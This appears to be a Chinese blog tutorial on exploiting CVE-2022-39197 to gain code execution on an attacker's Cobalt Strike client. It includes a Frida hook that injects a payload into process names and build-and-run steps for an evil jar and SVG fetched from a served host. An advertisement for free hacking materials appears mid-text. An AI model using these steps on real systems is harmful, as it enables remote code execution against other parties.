Cobalt Strike之反向上線操作

前言

Cobalt Strike 使用 GUI 框架 SWING(一種java GUI的庫)開發,攻擊者可通過CS木馬在 beacon 元數據中注入惡意 HTML 標籤,使得Cobalt Strike對其進行解析並且加載惡意代碼(類似XSS攻擊),從而在目標系統上執行任意代碼。

實現原理

攻擊者需要通過CS木馬在 beacon 元數據中注入惡意payload,恰好Frida 可以用於鉤入和修改各種函數,包括 Windows API 函數,這裏反制主要通過使用Frida框架鉤入Windows API函數,從而對beacon 元數據中注入惡意代碼,以下是一些你可以通過 Frida 鉤入的 Windows API 函數的示例

  • Kernel32.dll:

    CreateFileW

    ReadFile

    WriteFile

    FindFirstFileW

    CreateProcessW

    GetProcAddress

    LoadLibraryW

    VirtualAlloc

    VirtualProtect

  • Advapi32.dll:

    RegOpenKeyExW

    RegQueryValueExW

    RegSetValueExW

    GetUserNameA

  • User32.dll:

    MessageBoxW

    SetWindowTextW

    GetWindowTextW

  • Gdi32.dll:

    TextOutW

    CreateFontIndirectW

  • Shell32.dll:

    ShellExecuteW

  • Ws2_32.dll:

    send

    recv

在 Frida 中,你可以使用 Interceptor.attach 方法來附加到這些函數並添加你自己的處理邏輯。這樣,你就可以在這些函數被調用時執行自定義代碼,此時也意味着你可以對 beacon 元數據中注入自定義代碼了。

例如Kernel32.dll:中的Process32Next

# Frida 框架來攔截 kernel32.dll 中的 Process32Next 函數,該函數用於遍歷進程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函數,以下爲自己的處理邏輯
Interceptor.attach(pProcess32Next, {
    onEnter: function(args) {
        this.pPROCESSENTRY32 = args[1];
        if(Process.arch == "ia32"){
            this.exeOffset = 36;
        }else{
            this.exeOffset = 44;
        }
        this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
    },
    onLeave: function(retval) {
        if(this.szExeFile.readAnsiString() == "target") {
            send("[!] Found beacon, injecting payload");
            this.szExeFile.writeAnsiString(payload);
        }
    }
})

函數內整體邏輯拆開來分析下

處理函數進入 onEnter

onEnter: function(args) {
    this.pPROCESSENTRY32 = args[1];
    if(Process.arch == "ia32"){
        this.exeOffset = 36;
    }else{
        this.exeOffset = 44;
    }
    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函數進入時,保存 Process32Next 函數的參數,並計算 szExeFile 的地址。szExeFile 是一個指向進程信息結構體的字段,其中包含進程的可執行文件名

處理函數離開 onLeave

onLeave: function(retval) {
    if(this.szExeFile.readAnsiString() == "target") {
        send("[!] Found beacon, injecting payload");
        this.szExeFile.writeAnsiString(payload);
    }
}

在函數離開時,檢查 szExeFile 中的進程可執行文件名是否等於字符串 "target"。如果相匹配,將指定的 payload 寫入進程的可執行文件名裏,使得Cobalt Strike對其進行解析並且加載payload

簡單來說就是注入Windows API修改tasklist返回的進程名,將進程名改寫成攻擊payload,當攻擊者點擊beacon執行列出進程時,只要他瀏覽到帶有payload的進程名,就會執行反制RCE

反制復現

環境準備:



注:受到反制影響的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影響)

開源POC和EXP:https://github.com/its-arun/CVE-2022-39197

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

1、編輯惡意文件內容

修改Exploit.java,更改exec內代碼參數爲要執行的命令,我這裏爲了直觀展示則執行powershell一句話上線CS

1

2、編譯文件

使用IDEA+maven進行編譯,編譯完成後會在target目錄下生成EvilJar-1.0-jar-with-dependencies.jar文件,具體如下

1

3、將生成的惡意jar文件和svg文件放在同一路徑下

1

將紅隊發送的木馬樣本放在與cve-2022-39197.py腳本同一路徑下

1

4、藍隊在serve路徑下開啓一個web服務

1

5、編輯evil.svg文件,替換爲當前路徑啓用的惡意jar的web地址

1

6、執行POC腳本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

1

運行後,紅隊的cs客戶端上可以看到此時木馬已經成功上線

1

當紅隊嘗試獲取用戶會話的進程列表,當滾動進程列表進行查看當前會話所在進程名時即觸發(若未觸發可能需要手動點擊或觸發存在延遲),請求藍隊web服務上的evil.svg文件,而evil.svg文件又繼續加載請求惡意文件EvilJar-1.0-jar-with-dependencies.jar

成功上線藍隊CS,從而達到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函數的反制思路,其實還有很多其他的反制思路,正如Windows API 函數之多。我們還可以嘗試Kernel32.dll:中的FindFirstFileW函數(根據文件名查找文件的函數),大概情況就是注入Windows API 修改返回的文件名,將文件名改寫成攻擊payload,當攻擊者點擊beacon執行列出文件時,只要他瀏覽到帶有payload的文件名,就會執行反制RCE,以下就直接展示上線的效果(復現步驟和上面一樣)

最後

此Cobalt Strike反制雖然是一個去年曝光的漏洞了,但是基數上還是會有許多人在使用着存在漏洞的Cobalt Strike版本,對應地Cobalt Strike的反制可玩性還是很高的,師傅們發揮想象可以讓對手猝不及防。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章